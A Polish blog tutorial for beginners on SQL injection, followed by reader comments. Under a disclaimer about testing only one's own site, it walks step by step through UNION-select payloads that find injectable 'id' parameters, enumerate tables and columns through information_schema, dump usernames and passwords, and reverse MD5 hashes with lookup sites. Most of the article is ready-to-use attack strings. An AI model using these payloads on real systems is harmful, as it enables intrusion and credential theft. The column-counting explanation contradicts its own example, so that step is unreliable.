Rozbudowany artykuł o ataku SQL Injection - dla zielonych ....
flickr, john_a_ward
Już co prawda był temat poświęcony błędowi sql injection - występującemu na stronach internetowych, ale pokazywał on głównie wykorzystanie tej luki w konkretnym systemie cms. Chciałbym teraz nieco rozszerzyć ten artykuł i pokazać w jaki sposób znajdować słabe zabezpieczenie (luki) na swojej własnej stronie internetowej. Należy pamiętać o przestrzeganiu prawa ! Nie można łamać cudzych stron internetowych - jest to karalne - natomiast można sprawdzić zabezpieczenia na własnej stronie internetowej. Artykuł służy wyłącznie celom edukacyjnym !
Przykład ataku SQL INJECTION :
Po pierwsze znajdujemy jakąś stronę i sprawdzamy czy jest podatna na atak. Strona powinna mieć w adresie takie coś jak "id", po którym następuje numer np. artykułu. Wygląda to mniej więcej w ten sposób :
www.pececik.blogspot.com/index.php?id=1
Aby sprawdzić czy strona jest podatna na atak wystarczy wprowadzić apostrof na końcu, a więc :
www.pececik.blogspot.com/index.php?id=1'
Jeżeli wyskoczy błąd to znaczy, że strona może być podatna na atak sql injection.
Błąd może wyglądać w ten sposób : "Warning: mysql_fetch_row(): supplied argument is not a valid MySQ"
Kolejną rzeczą jest sprawdzenie liczby kolumn, robimy to za pomocą polecenia union select, a więc :
www.pececik.blogspot.com/index.php?id=-1 union select 1--
Jeżeli nic się nie dzieje to zwiększamy 1 na końcu, dodając kolejne cyfry po przecinku a więc:
www.pececik.blogspot.com/index.php?id=-1 union select 1,2-- błąd
www.pececik.blogspot.com/index.php?id=-1 union select 1,2,3-- błąd
www.pececik.blogspot.com/index.php?id=-1 union select 1,2,3,4-- bez błędu Oznacza to, że liczba kolumn wynosi 3 - ponieważ przy czwartej pojawia się błąd.
Powinna pojawić się teraz jakaś mała cyferka, np. w nazwie artykułu albo gdzieś na stronie - będzie to albo 1 albo 2 albo 3 - ponieważ tyle kolumn liczy nasza baza danych w tym przypadku.
Jest ona o tyle istotna, ponieważ właśnie do tej cyferki spróbujemy się dostać :)
Przypuszczalnie pojawiła się nam mała 2 - teraz musimy wpisać zapytanie właśnie w to pole ! Nim się do tego zabierzemy warto sprawdzić z jakiej tabeli wyciągnąć konkretne informacje. Przykładowo będziemy chcieli uzyskać nasz login i hasło do strony.
Najczęściej informacje te są zapisane w bazie danych pod nazwami :
users, user, member, members, osoby, uzytkownicy - dla listy uzytkownikow
pass, password, login, nick, nicks, passwd, name, username - dla konkretnego uzytkownika
Przykładowo sprawdźmy czy istnieje tabela o nazwie members :
www.pececik.blogspot.com/index.php?id=-1 union select 1,2,3 from members--
Jeżeli taka tabela istnieje to powinna pojawić się nam ponownie gdzieś na stronie taka mała cyferka :)
Dobrze, a więc pojawiła się nam mała dwójeczka - teraz dzięki tej 2 spróbujemy wyciągnąć konkretne informacje np. nazwę użytkownika i hasło.
www.pececik.blogspot.com/index.php?id=-1 union select 1,concat(nick,char(58),pass),3 from members--
Teraz objaśnię o co chodzi :D W miejsce 2 - wstawiłem nasze zapytanie : concat(nick,char(58),pass)
Concat - oznacza łączenie, dzięki temu będziemy mogli wyciągnąć dwie informacje w jednym zapytaniu.
W nawiasie dałem co chcę wyciągnąć w tym przypadku : nick oraz pass (nazwę użytkownika i hasło) - oczywiście te nazwy zależą od bazy danych na stronie może to być np. login i haslo (tak mogą być podpisane). Pomiędzy nick a pass znajduje się coś takiego jak char(58) - jest to nic innego jak zamiana liczby 58 na znak w kodzie ASCII - dzięki temu uzyskamy znak dwukropka. Jest to zabieg czysto estetyczny - aby pomiędzy nazwą użytkownika a hasłem znajdował się jakiś odstęp, separator, który oddzieli te dwie wartości.
Po zastosowaniu kodu powyżej powinniśmy uzyskać coś ala :
przemo:pececik
tomek:123456
dom:ala
Albo w postaci zakodowanej md5 np :
przemo:93e834de5ae9c81bc0e429317ad399c1
Jeżeli mamy taką postać, to musimy znaleźć w internecie sposób na rozkodowanie md5 - są pewne strony, które umieszczają popularne kody md5 i na ich podstawie możemy znaleźć co kryje się pod takim kodem.
Rozszerzenie !!!
Teraz wersja dla nieco bardziej zaradnych :P Pamiętacie jak u góry pisałem o nazwach typu : members, uzytkownicy, login, pass, nick, user, itp.. - to nazwy, które najczęściej są spotykane. A co gdybym nazwał sobie listę z użytkownikami jako : pececik_lista_osob - wątpie czy ktoś wpadły na pomysł aby wstrzelić się właśnie z takim zapytaniem.
Chciałbym teraz przedstawić sposób na znalezienie, sprawdzenie jaka nazwa jest zapisana w naszej bazie danych.
Wystarczy posłużyć się zapytaniem Information Schema, w tym celu w oknie przeglądarki wpisujemy zapytanie :
www.pececik.blogspot.com/index.php?id=-1 union select 1,table_name,3 from information_schema.tables limit 1 offset 1--
Zmieniając ostatnią jedynkę na liczbę o jeden wyższą itd.. dostajemy nazwy kolejnych tabel. Warto poszukać tych, które będą wskazywały o zawartości np. listy osób np. members, users itp...
Dzięki temu zapytaniu pojawi się nam lista nazw tabel w bazie danych np: members, users, articles albo właśnie pececik_lista_osob, dzięki temu będziemy wiedzieć do jakiej tabeli się odnieść.
Teraz sprawdzimy jaką nazwę przyjmuje kolumna - w przypadku gdy nazwa tabeli to members.
Po pierwsze warto wejść na stronę www.asciitable.com i odpowiednio zakodować słowo members - będzie to odpowiednio (109,101,109,98,101,114,115) a nassz kod będzie się prezentował :
www.pececik.blogspot.com/index.php?id=-1 union select 1,column_name,3 from information_schema.columns where table_name=char(109,101,109,98,101,114,115) limit 1 offset 1--
Teraz pojawi się lista nazw kolumn, gdyby to była tylko jedna kolumna to zmieńmy ponownie wartość 1 na końcu na np. 2 a później 3 itd....
Teraz przykładowo jako nazwę kolumny dostaliśmy : nick - tzn. taką znaleźliśmy i nas zaciekawiła. Wtedy aby przejrzeć jej zawartość - czyli najprawdopodobniej loginy robimy zapytanie :
www.pececik.blogspot.com/index.php?id=-1 union select 1,nick,3 from members--
Oczywiście w ten sposób wyciągniemy z tabeli members kolumnę nick - czyli wyświetli się nam lista osób - ich nicków.
Ciekawy artykuł na ten temat na stronie : http://hackme.pl/articles.html?article_id=387
Skuteczna obrona przed tego typu atakami została opisana w osobnym artykule : http://pececik.blogspot.com/2010/06/ochrona-przed-sql-injection-obrona.html
10 komentarze:
potrzebuje twojej pomocy napisz do mnie na gg 5514715
Bardzo chętnie pomogę ale może napisz tutaj - gdybym nie był w stanie to ktoś inny z przeglądających stronę odpowie.
Pececik, witaj . Mam problem:przy próbie"przywracania systemu" komputer nie przeprowadza operacji ponieważ 1 plik nie może otworzyć. Proszę, poradż mi jak moge odnależć ten plik, i co z nim zrobić. Wyłączyłam antywirusa, więc to nie o niego chodzi. Pozdrawiam i z góry dziękuję.
Pececiku, zapomniałam dodać że program to windows 7, Nina
Nie mogę pojąć dlaczego wykonując działania dokładnie w/g Twoich zaleceń, ani jedno mi nie wychodzi. Problem w tym, że po naciśnięciu enter na ekranie są pokazane strony jak w wyszukiwarce przez google- dlaczego? Proszę o pomoc. Antek
Jeżeli wszystko działa (nie wyświetla się błąd) - to oznacza, że żadne zapytanie nie działa - czyli inaczej mówiąc strona jest dobrze chroniona.
Nic dodać nic ująć.
Nie ma tutaj prostych rozwiązań - powtarzam to kolejny raz, każda strona może być zbudowana w różny sposób - ponadto sprawdzamy to tylko i wyłącznie na własnej witrynie - żadnych cudzych stronach !
Co za .... to pisal? xD
W
www.pececik.blogspot.com/index.php?id=-1 union select 1,table_name,3 from information.schema_tables limit 1 offset 1--
po pierwsze to nie
information.schema_tables
tylko
information_schema.tables
Faktycznie w artykule pojawiła się literówka, która została poprawiona - faktyczny układ to :
information_schema.tables
Więcej informacji można znaleźć na stronie : http://dev.mysql.com/doc/refman/5.1/en/information-schema.html
Witam.Z poradników na temat SQL można wyczytać,że sprawdzanie na podatność ataku jest bardzo proste,wystarczy do linku dopisać ' a co oznacza komunikat,nie odnaleziono serwera (Firefox nie może odnaleźć serwera www ...
Dobrze wiedzieć jak się bronić przed takim atakiem, z tego co widzę to coraz bardziej popularna metoda/.
Prześlij komentarz